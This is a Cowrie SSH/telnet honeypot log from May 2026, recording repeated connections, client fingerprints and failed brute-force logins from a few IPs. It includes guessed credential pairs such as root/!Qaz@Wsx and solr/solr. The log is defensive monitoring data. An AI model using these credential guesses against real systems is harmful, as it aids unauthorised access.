{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:03.437731Z","src_ip":"176.65.132.254","session":"7103ef332be7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:03.685128Z","src_ip":"176.65.132.254","session":"7103ef332be7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49334,"dst_ip":"10.17.0.5","dst_port":23,"session":"658b5af6939f","protocol":"telnet","message":"New connection: 62.210.97.77:49334 (10.17.0.5:23) [session: 658b5af6939f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:04.245747Z"}
{"eventid":"cowrie.session.closed","duration":37.214311838150024,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:04.258364Z","src_ip":"62.210.97.77","session":"f50720279a9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:04.771382Z","src_ip":"176.65.132.254","session":"7103ef332be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.76521849632263,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:04.997079Z","src_ip":"62.210.97.77","session":"40148423c564","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49340,"dst_ip":"10.17.0.5","dst_port":23,"session":"a24cd8c01662","protocol":"telnet","message":"New connection: 62.210.97.77:49340 (10.17.0.5:23) [session: a24cd8c01662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:06.209473Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50566,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b12bc523163","protocol":"telnet","message":"New connection: 65.60.27.33:50566 (10.17.0.5:23) [session: 0b12bc523163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:06.313199Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39408,"dst_ip":"10.17.0.5","dst_port":22,"session":"4752d79c4cc2","protocol":"ssh","message":"New connection: 176.65.132.254:39408 (10.17.0.5:22) [session: 4752d79c4cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:07.384175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:07.389827Z","src_ip":"176.65.132.254","session":"4752d79c4cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:07.472671Z","src_ip":"176.65.132.254","session":"4752d79c4cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:07.719776Z","src_ip":"176.65.132.254","session":"4752d79c4cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49350,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e91fa305cda","protocol":"telnet","message":"New connection: 62.210.97.77:49350 (10.17.0.5:23) [session: 0e91fa305cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:08.491731Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:08.804783Z","src_ip":"176.65.132.254","session":"4752d79c4cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.966928005218506,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:08.897326Z","src_ip":"62.210.97.77","session":"c62d34bf3a24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54840,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf04667b679a","protocol":"telnet","message":"New connection: 62.210.97.77:54840 (10.17.0.5:23) [session: bf04667b679a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:09.135267Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54842,"dst_ip":"10.17.0.5","dst_port":23,"session":"12fe17cd5fde","protocol":"telnet","message":"New connection: 62.210.97.77:54842 (10.17.0.5:23) [session: 12fe17cd5fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:09.342720Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54856,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a34579ecf9a","protocol":"telnet","message":"New connection: 62.210.97.77:54856 (10.17.0.5:23) [session: 3a34579ecf9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:10.594332Z"}
{"eventid":"cowrie.session.closed","duration":31.78526735305786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:11.078543Z","src_ip":"62.210.97.77","session":"472a7454e13e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39418,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c5f6178545e","protocol":"ssh","message":"New connection: 176.65.132.254:39418 (10.17.0.5:22) [session: 5c5f6178545e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:11.220623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:11.224931Z","src_ip":"176.65.132.254","session":"5c5f6178545e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:11.305943Z","src_ip":"176.65.132.254","session":"5c5f6178545e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:11.555091Z","src_ip":"176.65.132.254","session":"5c5f6178545e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:12.641526Z","src_ip":"176.65.132.254","session":"5c5f6178545e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":49416,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5ab4a93fcb9","protocol":"telnet","message":"New connection: 49.88.156.34:49416 (10.17.0.5:23) [session: f5ab4a93fcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:12.993081Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54860,"dst_ip":"10.17.0.5","dst_port":23,"session":"dab6b99bcbe2","protocol":"telnet","message":"New connection: 62.210.97.77:54860 (10.17.0.5:23) [session: dab6b99bcbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:14.370910Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59178,"dst_ip":"10.17.0.5","dst_port":23,"session":"33de5d5fc519","protocol":"telnet","message":"New connection: 65.60.27.33:59178 (10.17.0.5:23) [session: 33de5d5fc519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:15.081563Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39778,"dst_ip":"10.17.0.5","dst_port":22,"session":"6af6ff83329c","protocol":"ssh","message":"New connection: 176.65.132.254:39778 (10.17.0.5:22) [session: 6af6ff83329c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:15.417443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:15.422246Z","src_ip":"176.65.132.254","session":"6af6ff83329c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:15.504403Z","src_ip":"176.65.132.254","session":"6af6ff83329c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:15.750438Z","src_ip":"176.65.132.254","session":"6af6ff83329c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54864,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea10360f3aa0","protocol":"telnet","message":"New connection: 62.210.97.77:54864 (10.17.0.5:23) [session: ea10360f3aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:15.934043Z"}
{"eventid":"cowrie.session.closed","duration":46.163700342178345,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:16.319671Z","src_ip":"134.209.8.29","session":"ea0ada27f1b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54878,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb0f20fc929","protocol":"telnet","message":"New connection: 62.210.97.77:54878 (10.17.0.5:23) [session: 3cb0f20fc929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:16.687160Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54884,"dst_ip":"10.17.0.5","dst_port":23,"session":"30792d910a4b","protocol":"telnet","message":"New connection: 62.210.97.77:54884 (10.17.0.5:23) [session: 30792d910a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:16.819276Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:16.999609Z","src_ip":"176.65.132.254","session":"6af6ff83329c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31374192237854,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:17.418190Z","src_ip":"62.210.97.77","session":"d99381c69d91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34790,"dst_ip":"10.17.0.5","dst_port":23,"session":"138802a08eac","protocol":"telnet","message":"New connection: 65.60.27.33:34790 (10.17.0.5:23) [session: 138802a08eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:17.525366Z"}
{"eventid":"cowrie.session.closed","duration":35.458518981933594,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:17.919726Z","src_ip":"62.210.97.77","session":"b028105ab3b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54898,"dst_ip":"10.17.0.5","dst_port":23,"session":"7137b14c4475","protocol":"telnet","message":"New connection: 62.210.97.77:54898 (10.17.0.5:23) [session: 7137b14c4475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:17.963094Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35068,"dst_ip":"10.17.0.5","dst_port":23,"session":"695809f6504a","protocol":"telnet","message":"New connection: 65.60.27.33:35068 (10.17.0.5:23) [session: 695809f6504a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:17.974088Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39784,"dst_ip":"10.17.0.5","dst_port":22,"session":"295516998d3e","protocol":"ssh","message":"New connection: 176.65.132.254:39784 (10.17.0.5:22) [session: 295516998d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:19.299003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:19.303193Z","src_ip":"176.65.132.254","session":"295516998d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:19.388041Z","src_ip":"176.65.132.254","session":"295516998d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.84646916389465,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:19.572378Z","src_ip":"65.60.27.33","session":"66d72730bee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48902,"dst_ip":"10.17.0.5","dst_port":23,"session":"7448742de22e","protocol":"telnet","message":"New connection: 62.210.97.77:48902 (10.17.0.5:23) [session: 7448742de22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:19.584110Z"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:19.854707Z","src_ip":"176.65.132.254","session":"295516998d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37584,"dst_ip":"10.17.0.5","dst_port":23,"session":"485786cbb3c0","protocol":"telnet","message":"New connection: 65.60.27.33:37584 (10.17.0.5:23) [session: 485786cbb3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:20.110118Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48912,"dst_ip":"10.17.0.5","dst_port":23,"session":"defb7c8e7db3","protocol":"telnet","message":"New connection: 62.210.97.77:48912 (10.17.0.5:23) [session: defb7c8e7db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:20.245363Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:20.948902Z","src_ip":"176.65.132.254","session":"295516998d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48926,"dst_ip":"10.17.0.5","dst_port":23,"session":"20caeee12265","protocol":"telnet","message":"New connection: 62.210.97.77:48926 (10.17.0.5:23) [session: 20caeee12265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:21.030426Z"}
{"eventid":"cowrie.session.closed","duration":36.19878077507019,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:21.328707Z","src_ip":"62.210.97.77","session":"01c0e216aaa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48930,"dst_ip":"10.17.0.5","dst_port":23,"session":"13cf7ba05dd5","protocol":"telnet","message":"New connection: 62.210.97.77:48930 (10.17.0.5:23) [session: 13cf7ba05dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:21.364579Z"}
{"eventid":"cowrie.session.closed","duration":120.0014214515686,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:22.245033Z","src_ip":"134.209.8.29","session":"5765d666a3de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.00667452812195,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:22.249349Z","src_ip":"38.54.119.93","session":"7a937a490ec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.602426290512085,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:22.563864Z","src_ip":"62.210.97.77","session":"7cf06aa1bcec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44212,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f0b9763cc4d","protocol":"ssh","message":"New connection: 176.65.132.254:44212 (10.17.0.5:22) [session: 4f0b9763cc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:23.316749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:23.321699Z","src_ip":"176.65.132.254","session":"4f0b9763cc4d","protocol":"ssh"}
